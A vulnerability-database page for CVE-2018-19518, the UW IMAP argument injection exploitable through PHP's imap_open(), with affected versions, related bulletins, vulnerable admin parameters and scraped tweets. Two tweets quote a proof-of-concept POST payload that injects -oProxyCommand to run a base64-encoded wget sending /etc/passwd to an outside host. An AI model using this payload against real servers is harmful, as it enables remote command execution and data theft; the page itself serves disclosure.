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CVE-2018-19518

🗓️ 25 Nov 2018 10:00:00Reported by mitreType 
cve
 cve🔗 web.nvd.nist.gov📰️ 9 Media mentions👁 2590 Views🌐 WEB

University of WA IMAP Toolkit 2007f on UNIX launches rsh command without preventing argument injection, allowing remote attackers to execute arbitrary OS commands via imap_open() function in PHP and other products

Related
Detection
Refs
Paths
Social
ReporterTitlePublishedViews
Family
ibm
IBM Security Bulletins		Security Bulletin: IBM Flex System Chassis Management Module (CMM) is affected by vulnerability in PHP.
7 Dec 202322:45
–ibm
ibm
IBM Security Bulletins		Security Bulletin: IBM BladeCenter Advanced Management Module (AMM) is affected by vulnerability in PHP (CVE-2018-19518)
8 Jan 202021:42
–ibm
gitee
Gitee		Exploit for Argument Injection in Php
22 Oct 202016:40
–gitee
gitee
Gitee		Exploit for CVE-2014-4878
28 Mar 202000:48
–gitee
attackerkb
ATTACKERKB		CVE-2018-19518
25 Nov 201800:00
–attackerkb
amazon
Amazon		Medium: php56, php70, php71, php72
9 Jan 201900:00
–amazon
nessus
Tenable Nessus		Amazon Linux AMI : php56 / php70,php71,php72 (ALAS-2019-1147)
14 Jan 201900:00
–nessus
nessus
Tenable Nessus		Debian DLA-1608-1 : php5 security update
17 Dec 201800:00
–nessus
nessus
Tenable Nessus		Debian DLA-1700-1 : uw-imap security update
4 Mar 201900:00
–nessus
nessus
Tenable Nessus		Debian DLA-2866-1 : uw-imap - LTS security update
30 Dec 202100:00
–nessus
Rows per page
NVD
Node
OR
phpphpRange5.6.0–5.6.38
phpphpRange7.0.0–7.0.32
phpphpRange7.1.0–7.1.24
phpphpRange7.2.0–7.2.12
Node
OR
debiandebian_linuxMatch8.0
debiandebian_linuxMatch9.0
Node
uw-imap_projectuw-imapMatch2007f
Node
OR
canonicalubuntu_linuxMatch16.04esm
canonicalubuntu_linuxMatch18.04lts
canonicalubuntu_linuxMatch19.04
ParameterPositionPathDescriptionCWE
PS_SAV_IMAP_URLrequest bodyadmin2769gx8k3/index.phpPrestashop: IMAP URL field used in admin save form can inject -oProxyCommand to execute arbitrary commands via imap_open vulnerability.CWE-88
server_urlrequest bodyadmin2769gx8k3/index.phpSuiteCRM: IMAP server configuration payload delivered in mail settings via server_url enabling command injection through imap_open vulnerability.CWE-88
mail_bounce_pop3request bodye107_admin/mailout.phpe107v2: Mail settings payload containing command injection through mail_bounce_pop3 used to trigger imap_open exploit.CWE-88

FortiGuard has a protection/signature/rule for the vulnerability CVE-2018-19518 since about 803 days ago. https://t.co/ZjtEPLxsDE?amp=1 The vuln was published 821 days ago by NIST. /search?src=sprv&q=CVE-2018-19518 #Scql7fvagpegsq

(Same from about 2 hours ago.) I think that the third retweeted(9 times) tweet that contains CVE ID between Feb 22 2021 13:01 UTC and Feb 23 2021 13:00 UTC is: /sec715/status/1364134329236942849 It has CVE-2018-19518. #l24_cql7fvagpegsq

(Same from about 2 hours ago.) I think that the third retweeted(9 times) tweet that contains CVE ID between Feb 22 2021 13:01 UTC and Feb 23 2021 13:00 UTC is: /sec715/status/1364134329236942849 It has CVE-2018-19518. #l24_cql7fvagpegsq

I think that the third retweeted(7 times) tweet that contains CVE ID between Feb 22 2021 11:01 UTC and Feb 23 2021 11:00 UTC is: /sec715/status/1364134329236942849 It has CVE-2018-19518. #l24_cql7fvagpegsq

Hillstone has a protection/signature/rule for the vulnerability CVE-2018-19518 since about 558 days ago. https://t.co/u93w1m83F2?amp=1 The vuln was published 821 days ago by NIST. /search?src=sprv&q=CVE-2018-19518 #Scql7fvagpegsq

WatchGuard has a protection/signature/rule for the vulnerability CVE-2018-19518 since about 833 days ago. https://t.co/T3tGEJX163?amp=1 The vuln was published 821 days ago by NIST. /search?src=sprv&q=CVE-2018-19518 #Scql7fvagpegsq

PHP IMAP (CVE-2018-19518) POC: echo "wget --post-file /etc/passwd burpcollaborator(dot)net" | base64 POST / HTTP/1.1 Host: Redacted hostname=x+-oProxyCommand%3echo%09d2dldCAtLXBvc3QtZmlsZSAvZXRjL3Bhc3N3ZCBidXJwY29sbGFib3JhdG9yLm5ldAo|base64%09-d|sh}&username=test&password=222

PHP IMAP (CVE-2018-19518) POC: echo "wget --post-file /etc/passwd burpcollaborator(dot)net" | base64 POST / HTTP/1.1 Host: Redacted hostname=x+-oProxyCommand%3echo%09d2dldCAtLXBvc3QtZmlsZSAvZXRjL3Bhc3N3ZCBidXJwY29sbGFib3JhdG9yLm5ldAo|base64%09-d|sh}&username=test&password=222

The vuln CVE-2018-19518 has a tweet created 0 days ago and retweeted 7 times. /sec715/status/1364134329236942849 #Scql7fvagpegsq

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17 Jun 2026 01:49Current
8.1High risk
Vulners AI Score8.1
CVSS 3.17.5
CVSS 28.5
EPSS0.9523
CWE-88
cve-2018-19518university of washingtonimap toolkitunixphpremote code executionimap serveros command injectionsecurity vulnerability
2590